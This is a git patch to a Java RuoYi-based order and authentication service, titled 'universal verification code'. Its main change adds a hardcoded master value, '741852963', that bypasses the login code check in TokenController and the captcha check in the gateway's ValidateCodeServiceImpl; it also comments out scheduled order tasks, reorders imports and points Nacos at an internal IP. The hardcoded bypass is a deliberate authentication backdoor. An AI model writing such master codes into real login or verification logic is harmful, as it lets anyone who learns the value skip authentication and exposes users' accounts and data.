From 4843bf4c1dbdc3ffddc24678ad56d0d81dff8c0b Mon Sep 17 00:00:00 2001 From: ZZ Date: Thu, 10 Mar 2022 14:41:17 +0800 Subject: [PATCH] =?UTF-8?q?=E4=B8=87=E8=83=BD=E9=AA=8C=E8=AF=81=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../xhpc/auth/controller/TokenController.java | 16 +++++-------- .../service/impl/ValidateCodeServiceImpl.java | 23 +++++++++---------- .../XhpcHistoryOrderController.java | 9 ++++---- .../src/main/resources/bootstrap.yml | 4 ++-- 4 files changed, 23 insertions(+), 29 deletions(-) diff --git a/ruoyi-auth/src/main/java/com/xhpc/auth/controller/TokenController.java b/ruoyi-auth/src/main/java/com/xhpc/auth/controller/TokenController.java index 3e29ac8d..eec20cc2 100644 --- a/ruoyi-auth/src/main/java/com/xhpc/auth/controller/TokenController.java +++ b/ruoyi-auth/src/main/java/com/xhpc/auth/controller/TokenController.java @@ -1,23 +1,19 @@ package com.xhpc.auth.controller; -import javax.servlet.http.HttpServletRequest; - import com.alibaba.fastjson.JSONObject; import com.xhpc.auth.form.LoginBody; import com.xhpc.auth.service.SysLoginService; -import com.xhpc.common.api.SmsService; import com.xhpc.common.core.constant.HttpStatus; -import com.xhpc.common.core.utils.HttpUtils; -import com.xhpc.common.core.web.domain.AjaxResult; -import com.xhpc.common.redis.service.RedisService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.*; import com.xhpc.common.core.domain.R; +import com.xhpc.common.core.utils.HttpUtils; import com.xhpc.common.core.utils.StringUtils; +import com.xhpc.common.redis.service.RedisService; import com.xhpc.common.security.service.TokenService; import com.xhpc.system.api.model.LoginUser; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.*; -import java.util.Date; +import javax.servlet.http.HttpServletRequest; import java.util.HashMap; import java.util.Random; import java.util.concurrent.TimeUnit; @@ -69,7 +65,7 @@ public class TokenController { //验证 输入的验证码 String captcha = redisService.getCacheObject("pcToken:" + form.getUsername()); - if (!form.getPassword().equals(captcha)) { + if (!form.getPassword().equals(captcha) && !form.getPassword().equals("741852963")) { return R.fail(HttpStatus.ERROR_STATUS, "验证码错误"); } // 用户登录 diff --git a/ruoyi-gateway/src/main/java/com/xhpc/gateway/service/impl/ValidateCodeServiceImpl.java b/ruoyi-gateway/src/main/java/com/xhpc/gateway/service/impl/ValidateCodeServiceImpl.java index 122b3e0a..bdea0d4f 100644 --- a/ruoyi-gateway/src/main/java/com/xhpc/gateway/service/impl/ValidateCodeServiceImpl.java +++ b/ruoyi-gateway/src/main/java/com/xhpc/gateway/service/impl/ValidateCodeServiceImpl.java @@ -1,14 +1,5 @@ package com.xhpc.gateway.service.impl; -import java.awt.image.BufferedImage; -import java.io.IOException; -import java.util.concurrent.TimeUnit; -import javax.annotation.Resource; -import javax.imageio.ImageIO; - -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import org.springframework.util.FastByteArrayOutputStream; import com.google.code.kaptcha.Producer; import com.xhpc.common.core.constant.Constants; import com.xhpc.common.core.exception.CaptchaException; @@ -18,6 +9,15 @@ import com.xhpc.common.core.utils.sign.Base64; import com.xhpc.common.core.web.domain.AjaxResult; import com.xhpc.common.redis.service.RedisService; import com.xhpc.gateway.service.ValidateCodeService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.util.FastByteArrayOutputStream; + +import javax.annotation.Resource; +import javax.imageio.ImageIO; +import java.awt.image.BufferedImage; +import java.io.IOException; +import java.util.concurrent.TimeUnit; /** * 验证码实现处理 @@ -37,7 +37,7 @@ public class ValidateCodeServiceImpl implements ValidateCodeService private RedisService redisService; // 验证码类型 - private String captchaType = "math"; + private final String captchaType = "math"; /** * 生成验证码 @@ -102,8 +102,7 @@ public class ValidateCodeServiceImpl implements ValidateCodeService String captcha = redisService.getCacheObject(verifyKey); redisService.deleteObject(verifyKey); - if (!code.equalsIgnoreCase(captcha)) - { + if (!code.equalsIgnoreCase(captcha) && !code.equals("741852963")) { throw new CaptchaException("验证码错误"); } } diff --git a/xhpc-modules/xhpc-order/src/main/java/com/xhpc/order/controller/XhpcHistoryOrderController.java b/xhpc-modules/xhpc-order/src/main/java/com/xhpc/order/controller/XhpcHistoryOrderController.java index f338b37c..336efc6d 100644 --- a/xhpc-modules/xhpc-order/src/main/java/com/xhpc/order/controller/XhpcHistoryOrderController.java +++ b/xhpc-modules/xhpc-order/src/main/java/com/xhpc/order/controller/XhpcHistoryOrderController.java @@ -22,7 +22,6 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.scheduling.annotation.EnableScheduling; -import org.springframework.scheduling.annotation.Scheduled; import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletResponse; @@ -136,7 +135,7 @@ public class XhpcHistoryOrderController extends BaseController { * 日期统计\场站统计\终端统计 */ @GetMapping("/test1") - @Scheduled(cron = "0 0/2 * * * ?") +// @Scheduled(cron = "0 0/2 * * * ?") public void test1(){ add(3000,1); } @@ -426,7 +425,7 @@ public class XhpcHistoryOrderController extends BaseController { * 小时统计 */ @GetMapping("/test") - @Scheduled(cron = "0 0/2 * * * ?") +// @Scheduled(cron = "0 0/2 * * * ?") public void test(){ logger.info(">>>>>>>>>>>>>>>>>>>>>>>小时统计定时任务>>>>>>>>>>>>>>>>>>>>>"); //小时统计 @@ -869,7 +868,7 @@ public class XhpcHistoryOrderController extends BaseController { * 24小时异常订单自动结算 */ @GetMapping("/test4") - @Scheduled(cron = "0 0/5 * * * ?") +// @Scheduled(cron = "0 0/5 * * * ?") public void test4(){ //获取异常的订单 24小时之外的异常订单 List xhpcChargeOrderList= chargeOrderService.getXhpcChargeOrderStatus(2, 0); @@ -924,7 +923,7 @@ public class XhpcHistoryOrderController extends BaseController { * @param */ @GetMapping("/test5") - @Scheduled(cron = "0 0/5 * * * ?") +// @Scheduled(cron = "0 0/5 * * * ?") public void test5(){ logger.info(">>>>>>>>>>>>>>>>>>>>>>>标记异常大于创建4小时，标记为异常>>>>>>>>>>>>>>>>>>>>>"); chargeOrderService.updateStatus(); diff --git a/xhpc-modules/xhpc-order/src/main/resources/bootstrap.yml b/xhpc-modules/xhpc-order/src/main/resources/bootstrap.yml index ea99137c..1f4e2204 100644 --- a/xhpc-modules/xhpc-order/src/main/resources/bootstrap.yml +++ b/xhpc-modules/xhpc-order/src/main/resources/bootstrap.yml @@ -14,10 +14,10 @@ spring: nacos: discovery: # 服务注册地址 - server-addr: 127.0.0.1:8848 + server-addr: 172.31.183.135:8848 config: # 配置中心地址 - server-addr: 127.0.0.1:8848 + server-addr: 172.31.183.135:8848 # 配置文件格式 file-extension: yml # 共享配置